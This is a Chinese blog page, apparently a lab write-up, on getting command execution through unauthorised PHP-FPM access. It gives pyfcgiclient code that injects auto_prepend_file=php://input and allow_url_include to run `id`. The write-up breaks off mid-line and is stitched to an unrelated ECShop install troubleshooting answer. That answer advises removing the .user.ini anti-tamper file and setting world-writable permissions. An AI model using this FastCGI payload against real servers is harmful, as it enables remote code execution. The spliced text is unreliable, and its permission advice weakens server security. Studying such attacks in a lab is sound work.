file_put_contents + php-fpm 如何命令执行?

本文探讨了如何通过file_put_contents、FTP被动模式和php-fpm实现命令执行。首先介绍了PHP-FPM未授权访问时,通过修改auto_prepend_file或auto_append_file执行文件的原理。然后通过实验详细展示了如何在docker环境下构造数据包,利用pyfcgiclient和ftp passive mode来执行phpinfo。最后,给出了利用file_put_contents和ftp被动模式造成命令执行的步骤,并讨论了可能的其他利用方式。

在阅读Laravel debug rce[1]的文章时,感叹文章中的技巧之余,有一句话引起了我的注意。
It is well-known that, if you can send an arbitrary binary packet to the PHP-FPM service, you can execute code on the machine.
众所周知,我不知呀!

本文学习file_put_contents + FTP + php-fpm的命令执行。

原理

参考[2],我们可以得知,PHP-FPM未授权访问时,可以通过修改变量auto_prepend_file或auto_append_file来执行文件。
根据[1]中描述,我们需要让file_put_contents时,将结果写到php-fpm,这样造成命令执行。

实验

php-fpm命令执行

docker起一个php-fpm的环境

docker pull wyveo/nginx-php-fpm
docker run -d wyveo/nginx-php-fpm

利用pyfcgiclient来发送fastcgi数据包

from pyfcgiclient.fpm import FPM

phpfpm = FPM(
    host='127.0.0.1',
    port=9000,
    sock="/run/php/php8.0-fpm.sock",
    document_root='/usr/share/nginx/html'
)

post_string = '<?php echo `id`;phpinfo(); exit();?>'

status_header, headers, output, error_message = phpfpm.load_url(
    url='/index.php?a=b',
    content=post_string,
    remote_addr='127.0.0.1',
    cookies='c=d;e=f;'
)
print(output)

由于有些参数我们没办法直接修改,就直接修改pyfcgiclient里面的文件。在pyfcgiclient的fpm.py的env中增加PHP_VALUE和PHP_ADMIN_VALUE

            'PHP_VALUE': 'auto_prepend_file = php://input',
            'PHP_ADMIN_VALUE': 'allow_url_include = On',

同时修改flup_fcgi_client.py中的_environPrefixes,增加PHP_

    _environPrefixes = ['SERVER_', 'HTTP_', 'REQUEST_', 'REMOTE_', 'PATH_',
                        'CONTENT_', 'DOCUMENT_', 'SCRIPT_','PHP_']

docker exec进入容器,下载对应文件,python执行,成功执行phpinfo。到这里,我们成功对php-fpm发包执行命令了。不过这里使用的是socket文件,不是ip+port的方式。后面我们需要修改配置。

ftp passive mode

ftp passive mode[4]

In the passive mode, the client uses the control connection to send a PASV command to the server and then receives a server IP address and server port number from the server, which the client then uses to open a data connection to the server IP address and server port number received.

我们试一下ftp passive mode。
使用pyftpdlib测试,basic_ftpd.py
我们设置passive_mode的ip和port,同时在php容器里面nc监听9000端口(为方便演示实验,缺少的bin文件都先准备好,如nc,lsof,xxd等)

    handler.masquerade_address = '127.0.0.1'
    handler.passive_ports = rang
[root@yfw ~]# cd /www/wwwroot/yfw.szrengjing.com [root@yfw yfw.szrengjing.com]# cd /www/wwwroot/yfw.szrenjing.com [root@yfw yfw.szrenjing.com]# ls -l data/ total 276 drwxr-xr-x 2 root root 4096 Nov 8 15:54 afficheimg -rwxr-xr-x 1 root root 2942 Nov 8 15:54 affiliate.html drwxr-xr-x 2 root root 4096 Nov 8 15:54 article drwxr-xr-x 2 root root 4096 Nov 8 15:54 bonusimg drwxr-xr-x 2 root root 4096 Nov 8 15:54 brandlogo drwxr-xr-x 3 root root 4096 Nov 8 15:54 cache drwxr-xr-x 2 root root 4096 Nov 8 15:54 captcha drwxr-xr-x 2 root root 4096 Nov 8 15:54 cardimg drwxr-xr-x 2 root root 4096 Nov 8 15:54 category_img drwxr-xr-x 2 root root 4096 Nov 8 15:54 catflashimg -rwxr-xr-x 1 root root 870 Nov 8 15:54 config.php -rwxr-xr-x 1 root root 306 Nov 8 15:54 cycle_image.xml drwxr-xr-x 6 root root 4096 Nov 8 15:54 favourable_action_pic drwxr-xr-x 2 root root 4096 Nov 8 15:54 feedbackimg drwxr-xr-x 20 root root 4096 Nov 8 15:54 flashdata -rwxr-xr-x 1 root root 142 Nov 8 15:54 flash_data_supplier15.xml -rwxr-xr-x 1 root root 142 Nov 8 15:54 flash_data_supplier16.xml -rwxr-xr-x 1 root root 342 Nov 8 15:54 flash_data_supplier18.xml -rwxr-xr-x 1 root root 384 Nov 8 15:54 flash_data_supplier1.xml -rwxr-xr-x 1 root root 204 Nov 8 15:54 flash_data_supplier22.xml -rwxr-xr-x 1 root root 154 Nov 8 15:54 flash_data_supplier23.xml -rwxr-xr-x 1 root root 465 Nov 8 15:54 flash_data_supplier24.xml -rwxr-xr-x 1 root root 397 Nov 8 15:54 flash_data_supplier2.xml -rwxr-xr-x 1 root root 312 Nov 8 15:54 flash_data_supplier5.xml -rwxr-xr-x 1 root root 312 Nov 8 15:54 flash_data_supplier6.xml -rwxr-xr-x 1 root root 312 Nov 8 15:54 flash_data_supplier7.xml -rwxr-xr-x 1 root root 227 Nov 8 15:54 flash_data_supplier8.xml -rwxr-xr-x 1 root root 397 Nov 8 15:54 flash_data.xml -rwxr-xr-x 1 root root 748 Nov 8 15:54 goods_script.html drwxr-xr-x 6 root root 4096 Nov 8 15:54 headimg drwxr-xr-x 2 root root 4096 Nov 8 15:54 images -rwxr-xr-x 1 root root 30 Nov 8 15:54 install.lock -rwxr-xr-x 1 root root 8177 Nov 8 15:54 order_print.html drwxr-xr-x 2 root root 4096 Nov 8 15:54 packimg drwxr-xr-x 2 root root 4096 Nov 8 15:54 print drwxr-xr-x 2 root root 4096 Nov 8 15:54 qrcode -rwxr-xr-x 1 root root 1842 Nov 8 15:54 quotation_print.html drwxr-xr-x 3 root root 4096 Nov 8 15:54 rebate -rw-r--r-- 1 root root 100688 Nov 8 15:54 sitemap.dat drwxr-xr-x 2 root root 4096 Nov 8 15:54 sqldata drwxr-xr-x 11 root root 4096 Nov 8 15:54 street_logo drwxr-xr-x 4 root root 4096 Nov 8 15:54 supplier -rwxr-xr-x 1 root root 94 Nov 8 15:54 virtual_goods_list.csv drwxr-xr-x 12 root root 4096 Nov 8 15:54 wxqr [root@yfw yfw.szrenjing.com]#
最新发布
11-09
你执行了: ```bash ls -l data/ ``` 输出显示: - `data/` 目录存在 ✅ - `data/config.php` 文件存在 ✅ - 但所有文件和目录的 **属主是 `root:root`** ❌ - 权限为 `-rwxr-xr-x`(即 755)❌ --- ## 🔴 当前核心问题 > **虽然 `config.php` 存在,但它由 `root` 拥有且权限为 755,而 PHP-FPM 是以 `www` 用户运行 → 导致无法写入或修改!** 这就是为什么你在安装 ECShop 时会看到错误提示: > `config.php文件,不可写或不存在。请检查data/config.php和mobile/data/config.php文件权限是否可写` --- ## ✅ 解决方案:修复属主 + 权限 + 防篡改文件 ### 🔹 第一步:确认当前路径并进入网站根目录 ```bash cd /www/wwwroot/yfw.szrenjing.com ``` --- ### 🔹 第二步:修复 `.user.ini` 防篡改保护(关键!) 你在之前的 `ls -la` 中看到过: ```bash -rw-r--r-- 1 root root 51 Nov 8 15:50 .user.ini ``` 这个文件会阻止 PHP 写任何内容,即使 chmod 777 也没用! #### 处理方法: ```bash # 删除或重命名 .user.ini(必须做) mv .user.ini .user.ini.bak ``` > ⚠️ 否则后续所有“可写”操作都无效! --- ### 🔹 第三步:更改整个 `data/` 目录的属主为 `www` ```bash chown -R www:www data/ ``` ✅ 这样 PHP 才能写入 `data/config.php` 和子目录。 --- ### 🔹 第四步:设置正确的可写权限 ```bash # 设置 data/ 及其子目录为 755 find data/ -type d -exec chmod 755 {} \; # 设置 data/ 下所有文件为 644 find data/ -type f -exec chmod 644 {} \; # 特别开放 config.php 可写 chmod 666 data/config.php # 如果有 mobile 模块,也要处理 mobile/data/ mkdir -p mobile/data && chown -R www:www mobile/data && chmod 777 mobile/data touch mobile/data/config.php && chmod 666 mobile/data/config.php ``` --- ### 🔹 第五步:验证是否已可写(推荐测试) 创建一个临时 PHP 脚本测试写权限: ```bash cat > test_write.php << 'EOF' <?php $file = 'data/test_write.txt'; $content = "测试时间: " . date('Y-m-d H:i:s') . "\n"; if (file_put_contents($file, $content)) { echo "<font color=green>✅ 成功写入文件: $file</font><br>"; echo "内容: <pre>$content</pre>"; } else { echo "<font color=red>❌ 失败!无法写入 $file</font><br>"; } echo "当前脚本运行用户: " . exec('whoami') . "<br>"; echo "PHP 运行用户: " . get_current_user() . "<br>"; echo "data/ 权限: "; echo substr(sprintf('%o', fileperms('data')), -4); echo "<br>data/config.php 权限: "; echo substr(sprintf('%o', fileperms('data/config.php')), -4); ?> EOF ``` 然后访问: ``` http://yfw.szrenjing.com/test_write.php ``` ✅ 如果看到绿色“成功写入”,说明权限完全正常。 --- ### 🔹 第六步:刷新浏览器重新开始安装 关闭当前页面,打开新标签访问: ``` http://yfw.szrenjing.com/install ``` 现在你应该不会再看到: > `config.php文件,不可写...` 而是顺利进入数据库配置页面。 --- ## 🛠️ 安装完成后必须做的事 | 步骤 | 命令 | |------|------| | 删除 `install/` 目录 | `rm -rf install/` | | 恢复 `.user.ini`(可选) | `mv .user.ini.bak .user.ini` | | 锁定 `data/config.php` 权限 | `chmod 644 data/config.php` | | 禁止外部访问敏感目录 | 在 Nginx 中添加 `location ~ ^/(data|includes)/ { deny all; }` | --- ## 💡 补充知识:Linux 文件权限详解 | 符号 | 含义 | |------|------| | `drwxr-xr-x` | d=目录,rwx=拥有者可读写执行,r-x=组和其他人只读执行 | | `root:root` | 文件拥有者是 root,所属组是 root | | `www:www` | 推荐用于 Web 应用,PHP-FPM 通常以此用户运行 | | `chmod 666` | 所有人都可读写(危险,仅安装时使用) | | `chmod 644` | 拥有者可读写,其他人只读(安全) | --- ## ✅ 最终一键修复命令(复制粘贴) ```bash cd /www/wwwroot/yfw.szrenjing.com # 1. 移除防篡改 mv .user.ini .user.ini.bak 2>/dev/null || true # 2. 修复 data/ 属主 chown -R www:www data/ # 3. 设置权限 find data/ -type d -exec chmod 755 {} \; find data/ -type f -exec chmod 644 {} \; chmod 666 data/config.php # 4. 创建 mobile/data 并授权 mkdir -p mobile/data touch mobile/data/config.php chown -R www:www mobile/data chmod 666 mobile/data/config.php # 5. 验证 ls -l data/config.php ``` --- ##
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值